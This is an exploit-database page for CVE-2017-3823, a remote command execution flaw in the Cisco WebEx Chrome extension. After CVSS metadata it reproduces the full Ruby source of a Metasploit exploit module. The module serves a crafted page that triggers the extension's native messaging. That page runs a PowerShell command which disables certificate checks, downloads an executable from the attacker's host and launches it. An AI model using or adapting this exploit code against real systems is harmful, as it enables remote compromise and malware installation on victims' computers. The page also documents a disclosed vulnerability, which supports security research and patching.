Exploitalert - Database of Exploits

Cisco WebEx Chrome Extension Remote Command Execution

CVE	Category	Price	Severity
CVE-2017-3823	CWE-78	Not Specified	High

Author	Risk	Exploitation Type	Date
Aleksandar Nikolic	High	Remote	2017-02-01

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017020010

Cisco WebEx Chrome Extension Remote Command Execution## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)", 'Description' => %q{ This module exploits a vulnerability present in the Cisco WebEx Chrome Extension version 1.0.1 which allows an attacker to execute arbitrary commands on a system. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy <[email protected]>', # Original research/PoC 'William Webb <william_webb[at]rapid7.com>' # Metasploit module ], 'Platform' => 'win', 'DefaultOptions' => { 'SSL' => true, }, 'Targets' => [ [ 'Cisco WebEx Extension 1.0.1', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], ], 'References' => [ [ 'CVE', '2017-3823' ], ], 'Arch' => ARCH_X86, 'DisclosureDate' => "Jan 21 2017", 'DefaultTarget' => 0 )) end def setup @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe" super end def exploit_html(cli, req_uri) base_uri = "#{get_resource.chomp('/')}" html = %Q~ <html> <head> <script> var msg = { GpcProductRoot: "WebEx", GpcMovingInSubdir: "Wanta", GpcProductVersion: "T30_MC", GpcUnpackName: "atgpcdec", GpcExtName: "atgpcext", GpcUnpackVersion: "27, 17, 2016, 501", GpcExtVersion: "3015, 0, 2016, 1117", GpcUrlRoot: "http://127.0.0.1/", GpcComponentName: btoa("MSVCR100.DLL"), GpcSuppressInstallation: btoa("True"), GpcFullPage: "True", GpcInitCall: btoa("_wsystem(Ex1);"), Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"), } function runcode() { document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); document.dispatchEvent(new CustomEvent("message", { detail: { message: JSON.stringify(msg), message_type: "launch_meeting", timestamp: (new Date()).toUTCString(), token: "token" } })); } </script> </head> <body onload="runcode()"> </body> </html> ~ send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) end def on_request_uri(cli, request) print_status("Got request: #{request.uri}") print_status("From: #{request.headers['User-Agent']}") if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html/ print_status("Sending exploit html ...") exploit_html(cli, request.uri) close_client(cli) return elsif request.uri =~ /.*#{@payload_uri}$/ return if ((payload = regenerate_payload(cli)) == nil) print_status("Sending payload ...") send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) else base_uri = "#{get_resource.chomp('/')}" html = %Q~ <html> <head> <meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />" </head> <body> </body> </html> ~ send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) close_client(cli) end end end

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